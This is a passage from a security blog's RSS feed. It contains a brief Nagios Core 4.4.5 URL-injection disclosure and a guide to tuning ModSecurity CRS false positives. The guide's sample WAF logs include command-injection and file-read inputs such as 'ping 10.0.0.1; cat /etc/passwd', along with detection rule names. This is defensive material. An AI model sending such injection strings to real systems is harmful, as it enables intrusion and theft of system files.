v&#7909; ph&#7913;c t&#7841;p. Vi&#7879;c chia nh&#7887; c&#244;ng vi&#7879;c gi&#250;p h&#7879; th&#7889;ng tr&#7903; n&#234;n m&#7841;nh m&#7869; v&#224; d&#7877; qu&#7843;n l&#253; h&#417;n.</p></li><li><p><strong>T&#7889;i &#432;u h&#243;a hi&#7879;u qu&#7843;:</strong> T&#7853;p trung v&#224;o c&#225;c k&#7929; thu&#7853;t h&#7885;c t&#259;ng c&#432;&#7901;ng ti&#234;n ti&#7871;n (nh&#432; SiriuS) &#273;&#7875; t&#7841;o ra c&#225;c AI suy lu&#7853;n hi&#7879;u qu&#7843; h&#417;n m&#224; kh&#244;ng c&#7847;n &#273;&#7871;n c&#225;c b&#7897; d&#7919; li&#7879;u kh&#7893;ng l&#7891;.</p></li></ol>]]></content:encoded></item><item><title><![CDATA[Nagios Core 4.4.5 — URL Injection]]></title><description><![CDATA[I.]]></description><link>https://www.anhtai.me/p/nagios-core-4-4-5-url-injection-7f552072dd54</link><guid isPermaLink="false">https://www.anhtai.me/p/nagios-core-4-4-5-url-injection-7f552072dd54</guid><dc:creator><![CDATA[Aishee Nguyen]]></dc:creator><pubDate>Wed, 03 Jun 2020 09:19:22 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/b32a0588-3c67-457f-b0ac-f61c843c9329_555x376.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!0hmX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26c2b6aa-bbd2-4b65-82c7-28e4577a82a9_555x376.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!0hmX!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26c2b6aa-bbd2-4b65-82c7-28e4577a82a9_555x376.jpeg 424w, https://substackcdn.com/image/fetch/$s_!0hmX!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26c2b6aa-bbd2-4b65-82c7-28e4577a82a9_555x376.jpeg 848w, https://substackcdn.com/image/fetch/$s_!0hmX!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26c2b6aa-bbd2-4b65-82c7-28e4577a82a9_555x376.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!0hmX!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26c2b6aa-bbd2-4b65-82c7-28e4577a82a9_555x376.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!0hmX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26c2b6aa-bbd2-4b65-82c7-28e4577a82a9_555x376.jpeg" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/26c2b6aa-bbd2-4b65-82c7-28e4577a82a9_555x376.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!0hmX!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26c2b6aa-bbd2-4b65-82c7-28e4577a82a9_555x376.jpeg 424w, https://substackcdn.com/image/fetch/$s_!0hmX!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26c2b6aa-bbd2-4b65-82c7-28e4577a82a9_555x376.jpeg 848w, https://substackcdn.com/image/fetch/$s_!0hmX!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26c2b6aa-bbd2-4b65-82c7-28e4577a82a9_555x376.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!0hmX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26c2b6aa-bbd2-4b65-82c7-28e4577a82a9_555x376.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a></figure></div><h4><em><strong>I. OVERVIEW</strong></em></h4><ul><li><p><strong>Discoverer: Aishee&#8202;&#8212;&#8202;UraSec Team</strong></p></li><li><p><strong>Vendor &amp; Product: Nagios Core</strong></p></li><li><p><strong>Version: Nagios Core 4.4.5</strong></p></li></ul><h4><em><strong>II. ABOUT NAGIOS&nbsp;CORE</strong></em></h4><p>Nagios is a free and open<a href="https://en.wikipedia.org/wiki/Open-source_software" title="Open-source software">-</a>source computer-software application that monitors systems, networks and infrastructure. Nagios offers monitoring and alerting services for servers, switches, applications and services. It alerts users when things go wrong and alerts them a second time when the problem has been resolved.</p><h4><em><strong>III. VULNERABILITY DETAILS</strong></em></h4><p>Location: Alert Histogram and Trends function.</p><p>I could insert malicious files in Alert Histogram and Trends function, only need setup other server and compile nagios file objectjson.cgi, archivejson.cgi, statusjson.cgi and copy to server.</p><p>Video POC</p><h4><em><strong>IV. IMPACT</strong></em></h4><p>- Insert content that is harmful to users</p><p>- Ability to escalate exploits creating backdoors for applications</p><p>-&nbsp;..etc</p><h4><em><strong>V. REMEDIATION</strong></em></h4><p><strong><a href="https://www.nagios.org/projects/nagios-core/history/4x/" title="https://www.nagios.org/projects/nagios-core/history/4x/">Nagios Core 4.x Version History - Nagios</a></strong><a href="https://www.nagios.org/projects/nagios-core/history/4x/" title="https://www.nagios.org/projects/nagios-core/history/4x/"><br></a><em><a href="https://www.nagios.org/projects/nagios-core/history/4x/" title="https://www.nagios.org/projects/nagios-core/history/4x/">4.4.6 - 2020-04-28 FIXES Fixed Map display in Internet Explorer 11 (#714) (Scott Wilkerson) Fixed duplicate properties&#8230;</a></em><a href="https://www.nagios.org/projects/nagios-core/history/4x/" title="https://www.nagios.org/projects/nagios-core/history/4x/">www.nagios.org</a></p><p><strong><a href="https://github.com/sawolf/nagioscore/tree/url-injection-fix" title="https://github.com/sawolf/nagioscore/tree/url-injection-fix">sawolf/nagioscore</a></strong><a href="https://github.com/sawolf/nagioscore/tree/url-injection-fix" title="https://github.com/sawolf/nagioscore/tree/url-injection-fix"><br></a><em><a href="https://github.com/sawolf/nagioscore/tree/url-injection-fix" title="https://github.com/sawolf/nagioscore/tree/url-injection-fix">Nagios is a host/service/network monitoring program written in C and released under the GNU General Public License&#8230;</a></em><a href="https://github.com/sawolf/nagioscore/tree/url-injection-fix" title="https://github.com/sawolf/nagioscore/tree/url-injection-fix">github.com</a></p><h4><em><strong>VI. REPORT&nbsp;TIMELINE</strong></em></h4><ul><li><p>04/12/2020: Discovered the vulnerability</p></li><li><p>04/12/2020: Responsible disclosure to Nagios Enterprise security@nagios.com</p></li><li><p>04/18/2020: Nagios Enterprise confirmed the issue and released a branch fix</p></li></ul><h4><em><strong>VII. THANKS&nbsp;TO</strong></em></h4><ul><li><p>swolf@nagios.com confirm issue and fix.</p></li></ul>]]></content:encoded></item><item><title><![CDATA[Minimize false positives for WAF]]></title><description><![CDATA[&#8220;You can&#8217;t rely on anyone these days, you gotta do everything yourself.&#8221;]]></description><link>https://www.anhtai.me/p/minimize-false-positives-for-waf-33a4a5e18855</link><guid isPermaLink="false">https://www.anhtai.me/p/minimize-false-positives-for-waf-33a4a5e18855</guid><dc:creator><![CDATA[Aishee Nguyen]]></dc:creator><pubDate>Sat, 12 Oct 2019 04:54:43 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/639a492c-5f69-43f4-a084-f657e5617e3a_800x400.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Kuof!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18b4f5b0-5d07-405b-89ce-e2a557d77e34_800x400.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Kuof!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18b4f5b0-5d07-405b-89ce-e2a557d77e34_800x400.png 424w, https://substackcdn.com/image/fetch/$s_!Kuof!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18b4f5b0-5d07-405b-89ce-e2a557d77e34_800x400.png 848w, https://substackcdn.com/image/fetch/$s_!Kuof!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18b4f5b0-5d07-405b-89ce-e2a557d77e34_800x400.png 1272w, https://substackcdn.com/image/fetch/$s_!Kuof!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18b4f5b0-5d07-405b-89ce-e2a557d77e34_800x400.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Kuof!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18b4f5b0-5d07-405b-89ce-e2a557d77e34_800x400.png" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/18b4f5b0-5d07-405b-89ce-e2a557d77e34_800x400.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Kuof!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18b4f5b0-5d07-405b-89ce-e2a557d77e34_800x400.png 424w, https://substackcdn.com/image/fetch/$s_!Kuof!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18b4f5b0-5d07-405b-89ce-e2a557d77e34_800x400.png 848w, https://substackcdn.com/image/fetch/$s_!Kuof!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18b4f5b0-5d07-405b-89ce-e2a557d77e34_800x400.png 1272w, https://substackcdn.com/image/fetch/$s_!Kuof!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18b4f5b0-5d07-405b-89ce-e2a557d77e34_800x400.png 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a></figure></div><p><strong>&#8220;You can&#8217;t rely on anyone these days, you gotta do everything yourself.&#8221;</strong></p><p><strong>The Joker!</strong></p><p>I haven&#8217;t written in a while. Now I have some time to share some of my old experiences.</p><h4>Start</h4><p>We often use WAF to protect website, but in the process of using, certainly many times you encounter the case of mistakenly blocking non-malicious requests.</p><p>That seems to make us uncomfortable or take a lot of effort to find its cause, probably because we have not optimized the rules of use properly. The false positive could be due, waf working too hard, consuming compute resources for something wrong, will make it block clean traffic.</p><p>Sometimes tired, they might think about it, uninstall WAF&nbsp;:v</p><p>Tuning WAF is a tedious process, here I will share some ways to minimize false positive for WAF, It will help you properly block malicious traffic and greatly reduce false positives. This article will talk about ModSecurity.</p><p><strong>ModSecurity</strong>, sometimes called <strong>Modsec</strong>, is an <a href="https://en.wikipedia.org/wiki/Open-source_software" title="Open-source software">open-source</a> <a href="https://en.wikipedia.org/wiki/Web_application_firewall" title="Web application firewall">web application firewall</a> (WAF). Originally designed as a module for the <a href="https://en.wikipedia.org/wiki/Apache_HTTP_Server" title="Apache HTTP Server">Apache HTTP Server</a>, it has evolved to provide an array of <a href="https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol" title="Hypertext Transfer Protocol">Hypertext Transfer Protocol</a> request and response filtering capabilities along with other security features across a number of different platforms including <a href="https://en.wikipedia.org/wiki/Apache_HTTP_Server" title="Apache HTTP Server">Apache HTTP Server</a>,<a href="https://en.wikipedia.org/wiki/ModSecurity#cite_note-1">[1]</a><a href="https://en.wikipedia.org/wiki/ModSecurity#cite_note-2">[2]</a> <a href="https://en.wikipedia.org/wiki/Microsoft" title="Microsoft">Microsoft</a> <a href="https://en.wikipedia.org/wiki/Internet_Information_Services">IIS</a> and <a href="https://en.wikipedia.org/wiki/NGINX" title="NGINX">NGINX</a>. <a href="https://en.wikipedia.org/wiki/ModSecurity">https://en.wikipedia.org/wiki/ModSecurity</a></p><p>We often use OWASP ModSecurity Core Rule Set (CRS) in combination with ModSecurity. This is the best set of rules to prevent attacks on OWASP Top Ten projects. CRS is a rule set scoring anomaly incoming request.</p><p>It uses blacklist techniques to detect attacks from incoming requests. It allows you to adjust the aggressiveness level of rule set (Paranoia Level in crs-setup.conf)</p><h4>Something with real&nbsp;attacks</h4><p>For multi-user websites or a application targeted by an attacker, the number of alerts generated is extremely large. That will make a lot of mistakes happen to CRS because i see many people after installing ModSecurity and CRS rule set often run in default mode.</p><p>We should pay attention to Paranoia Level in CRS to tune it, raising Paranoia Level will turn off CRS default mode when installing, the higher the level setting, the more rules are enforced. It could be called when it was a crazy beast that caused many false positives.</p><p>Thinking of out of the box if you want to reduce the number of false positives. If intermix with traces of true attacks, the value that we receive with CRS will be lost. So, we have to remove the false positive to have a cleaner installation for valid queries and prevent a real attacker.</p><p>Problems:</p><p>- Identify a false positive practical</p><p>- Deal with false positives practical</p><p>Hundreds of alerts are generated, it&#8217;s really hard to determine exactly the false positive. We have several ways to do that.</p><p>- Understand the application to be protected, it will help us determine request but very suspicious, from malicious requests. But if we are lazy we have to think of another way&nbsp;:))). We can filter each alert and create a data set that only includes false positive warnings. That will help you determine where exactly the attack.</p><p>- You can use the IP address to identify basic information about known users, localnet, etc. You may think that the user who successfully authenticated the login is not an attacker (very naive&nbsp;:))) or some other identification method, it depends on the setup and testing process you have.</p><p>When identifying a false positive entity, we will have many approaches to avoid repeating similar errors in the future. With CRS, you probably won&#8217;t revise the rule set because you think it works without interference or works very smoothly and coherently. You will reconfigure the ruleset usage through the ModSecurity directives, which allow you to apply the same changes to future versions of CRS without having to repeat your changes.</p><p>I offer simple ways to handle false positives:</p><p>- Disable a rule</p><p>- Delete an argument from the regex according to a rule</p><p>- Disable rule based on request URI at run time</p><p>- Remove an argument for a runtime request from a regex according to the rules</p><p>But it is clear that disabling a rule will affect the overall detection rate of the rule set. In fact, it takes a bit of experience to make the optimal choice in all cases, the slightest change to ruleset allows for suspicious but not really dangerous pass requests.</p><h4>Scaling Tuning</h4><p>To get the best option, try and try. Normally, many people just approach a bunch of alerts and try to work with it, sometimes it is very laborious but the effect is very low.</p><p>Example:</p><pre><code>2019/07/19 22:47:21 [info] 7962#7962: *1 ModSecurity: Warning. Matched "Operator `PmFromFile' with parameter `lfi-os-files.data' against variable `ARGS:test' (Value: `/etc/passwd' ) [file "/etc/modsec/rules/custom/crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:test: /etc/passwd"] [severity "2"] [ver "OWASP_CRS/3.1.1"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "127.0.0.1"] [uri "/index.html"] [unique_id "151603875418.798396"] [ref "o1,10v21,11t:utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase"], client: 127.0.0.1, server: localhost, request: "GET /index.html?test=/etc/passwd HTTP/1.1", host: "localhost"</code></pre><p>If we receive hundreds of thousands of alerts every day, our fatigue will increase many times.<br>&nbsp;To solve this problem earlier, I also wrote some tools to support, it will be public soon for everyone.</p><p>Example:</p><pre><code>{"maturity": "0", "tag": "PCI/6.5.4", "file": "/etc/modsec/rules/custom/crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf", "type": "Local File Inclusion attack\n", "rev": "", "ver": "OWASP_CRS/3.1.1","msg": "OS File Access Attempt", "uri": "/", "id": "930120", "line": "78", "severity": "2", "hostname": "x.x.x.x", "data": "Matched Data: etc/passwd found within ARGS:command: ping 10.0.0.1; cat /etc/passwd", "ref": "o20,10v14,30t:utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase", "accuracy": "0", "unique_id": "156089115890.272782", "date": "2019/07/19"}

{"maturity": "0", "tag": "PCI/6.5.2", "file": "/etc/modsec/rules/custom/crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf", "rev": "", "ver": "OWASP_CRS/3.1.0", "msg": "Remote Command Execution: Unix Shell Code Found", "uri": "/", "id": "932160", "line": "481", "severity": "2", "hostname": "x.x.x.x", "data": "Matched Data: etc/passwd found within ARGS:command: ping 10.0.0.1 cat/etc/passwd", "ref": "o18,10v14,30t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase", "accuracy": "0", "unique_id": "156089115890.272782", "date": "2019/07/19"}

{"maturity": "0", "tag": "attack-generic", "file": "/etc/modsec/rules/custom/crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf", "type": "Blocking evaluation\n", "rev": "", "ver": "", "msg": "Inbound Anomaly Score Exceeded (Total Score: 23)", "uri": "/", "id": "949110", "line": "80", "severity": "2", "hostname": "x.x.x.x", "data": "", "ref": "", "accuracy": "0", "unique_id": "156089115890.272782", "date": "2019/07/19"}

{"maturity": "0", "tag": "event-correlation", "file": "/etc/modsec/rules/custom/crs/rules/RESPONSE-980-CORRELATION.conf", "type": "Correlation\n", "rev": "", "ver": "", "msg": "Inbound Anomaly Score Exceeded (Total Inbound Score: 23 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=15,PHPI=0,HTTP=0,SESS=0): Remote Command Execution: Unix Shell Code Found; individual paranoia level scores: 23, 0, 0, 0", "uri": "/", "id": "980130", "line": "76", "severity": "0", "hostname": "x.x.x.x", "data": "", "ref": "", "accuracy": "0", "unique_id": "156089115890.272782", "date": "2019/07/19"}</code></pre><p>I have normalized JSON format to be able to push into the common SIEM or ELK stack. It is easy for us to read and understand the alert information.</p><p>For example, the above warning shows that rule 930120 is triggered by having an existing command &#8220;ping 10.0.0.1 cat / etc / passwd&#8221; in request.<br>&nbsp;An attacker is trying to execute operating system commands, is the ping command and reads /etc/passwd.</p><p>When we transmit an encrypted string or exist some type of data such as hex code, CRS is often confused and gives false positive warnings. CRS will think of this as a clean request as a malicious request that the attacker encrypts information to conceal, such as session ID, etc.</p><h4>Think</h4><p>For optimal handling, one should think of a different approach, try different perspectives, not look at different rules, but look in the direction of requests that trigger those rules up.</p><p>Finding out the anomaly of all requests to the server is important. Not only properties related to scored evaluation, but also those that do not generate any warnings.</p><p>We can clearly see its score is zero, but we have to calculate the number of requests in this list to better understand the false positive ratio.</p><p>For apache and nginx applications, using apache is easy for ModSecurity to create unusual points of every request right in the access logs. For nginx to use a different technique, add a rule that creates anomalies after the request is made.</p><pre><code>SecAction \
    "id:980xxx,\
    phase:5,\
    pass,\
    t:none,\
    log,\
    noauditlog,\
    msg:\'Incoming Anomaly Score: %{TX.ANOMALY_SCORE}\'"</code></pre><p>Result:</p><pre><code>cat /var/log/nginx/error.log | grep 980xxx | egrep -o "Incoming Anomaly Score: [0-9]+" | cut -b25-
0
10
4
5
8
0
12
0
3
1
0
0
...</code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!enyD!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8336efa5-b26d-4a48-acde-8b65d5da3527_800x486.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!enyD!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8336efa5-b26d-4a48-acde-8b65d5da3527_800x486.png 424w, https://substackcdn.com/image/fetch/$s_!enyD!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8336efa5-b26d-4a48-acde-8b65d5da3527_800x486.png 848w, https://substackcdn.com/image/fetch/$s_!enyD!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8336efa5-b26d-4a48-acde-8b65d5da3527_800x486.png 1272w, https://substackcdn.com/image/fetch/$s_!enyD!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8336efa5-b26d-4a48-acde-8b65d5da3527_800x486.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!enyD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8336efa5-b26d-4a48-acde-8b65d5da3527_800x486.png" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8336efa5-b26d-4a48-acde-8b65d5da3527_800x486.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!enyD!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8336efa5-b26d-4a48-acde-8b65d5da3527_800x486.png 424w, https://substackcdn.com/image/fetch/$s_!enyD!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8336efa5-b26d-4a48-acde-8b65d5da3527_800x486.png 848w, https://substackcdn.com/image/fetch/$s_!enyD!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8336efa5-b26d-4a48-acde-8b65d5da3527_800x486.png 1272w, https://substackcdn.com/image/fetch/$s_!enyD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8336efa5-b26d-4a48-acde-8b65d5da3527_800x486.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>On the right are requests that are blocked and a warning appears. The highest number of requests with an unusual score is 1, where all requests bypassed through the rules without any alerts are generated.</p><p>The higher the column, the higher the score, which can be considered as the most suspicious requests. The lower the column, the lower the score, only activating one or two rules</p><p>As is known, the CRS is an unusual set of scoring rules, the first request will pass through the entire rule and the score will start to be calculated.</p><p>I will then compare the generated anomalies with the anomaly threshold (default threshold = 5) such as single abnormal critical pricing warning will result in the request being blocked. This is how I want it to be set up securely!</p><p>We can change this threshold if we want and in fact it means a lot. For example, once, I put the threshold up to 12,000 (in the actual process I have seen the number of score up to 12,000). I can assure you that no clean requests are blocked by CRS. In such a way I could make adjustments to minimize false positives, balancing them with real systems.</p><p><em>My advice in minimizing is that we should not immediately reduce a shot to 5 in a single shot. Go 10,000-&gt;100-&gt;50-&gt;20-&gt;10-&gt;5! Final target.</em></p><p>Of course, the way will get in the way, and the solution is like. Take a look at the chart again. If I set the anomaly threshold to 50, I would block requests with a score of 60, if we wanted to lower the limit, I would have to handle these requests better and all other requests got a higher score. with target limit</p><p>No need to look at the remaining false false alert results right away because we might be scared of pee =))). We will focus on the minimum number of requests with the highest anomaly score at the start. If I can determine these, I can filter alerts with this high score via unique identification of the alert ModSecurity.</p><p>Then use unique IDs to find alerts that score above</p><pre><code>grep 980xxx /var/log/nginx/error.log  | grep "Incoming Anomaly Score: 60\"" | melunique_id &gt; msg_ids</code></pre><pre><code>grep -F -f ids /var/log/nginx/error.log | melidmsg | sort | uniq -c | sort -n
  28 941140 XSS Filter - Category 4: Javascript URI Vector
 43 932130 Remote Command Execution: Unix Shell Expression Found
 47 941210 IE XSS Filters - Attack Detected.
 65 941170 NoScript XSS InjectionChecker: Attribute Injection</code></pre><p>I will adjust these false positive points and position them to lower the abnormal threshold with great certainty that no clean requests will be blocked.</p><p>It will take a little while for beginners to do this.</p><p>Try and try, that&#8217;s the way I recommend. Adjusting false positives makes it impossible to lower the threshold further. Look at the requests and analyze them. The number of requests that we have to repeat the test also significantly reduced compared to before</p><p>Most of the rules with the highest scores are the same rules with average scores =&gt; if I process the first rule set that leads to the highest score, then the second adjustment only has to handle the false positives are not included in requests with the highest score.</p><p>The whole method allows the structure to conform to the CRS to minimize the elimination of false positives.</p><p>My advice is to be able to give them one by one, usually dealing with five to ten false positives in a given iteration, when performing more processing, take a smaller step.</p><p><em><strong>All work as a game for funs =))) and we have to play as an artist, be like The Joker</strong></em></p><p>Be like an artist and you can adjust your abnormal thresholds in a good and quick way to improve the security of your website system, recommends it significantly only starting with the same threshold of 20 or lower</p><h4>In the&nbsp;NUTSHELL</h4><p>1. Work in blocking mode</p><p>2. Originally, set Anomaly threshold to a very high number</p><p>- Try try and try</p><p>3. Review the request with the highest abnormal score and handle the false positive results it causes</p><p>4. Lower the abnormal point threshold to rinse and continue the loop until the points of abnormalities fall to five</p><p>Above are some of my small experiences, when I have time I will share some more deep and optimal approaches.</p><p>The entire method works for Apache and Nginx!</p><p>Refer:</p><p>- Thanks for my friends</p><p>- <a href="https://httpd.apache.org/">https://httpd.apache.org/</a></p><p>- <a href="https://www.nginx.com/">https://www.nginx.com/</a></p><p>- <a href="https://coreruleset.org">https://coreruleset.org</a></p><p>- Google keyword: &#8220;ModSecurity Tutorials&#8221;</p><p><strong>&#8220;The only sensible way to live in this world is without rules.&#8221;</strong></p><p><strong>I like The Joker.</strong></p><p><strong>I like that he&#8217;s as mysterious as he is cruel!</strong></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zk9E!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65998cf3-dd66-4828-9de0-580bd6c0e666_748x421.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zk9E!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65998cf3-dd66-4828-9de0-580bd6c0e666_748x421.jpeg 424w, https://substackcdn.com/image/fetch/$s_!zk9E!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65998cf3-dd66-4828-9de0-580bd6c0e666_748x421.jpeg 848w, https://substackcdn.com/image/fetch/$s_!zk9E!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65998cf3-dd66-4828-9de0-580bd6c0e666_748x421.jpeg 1272w, 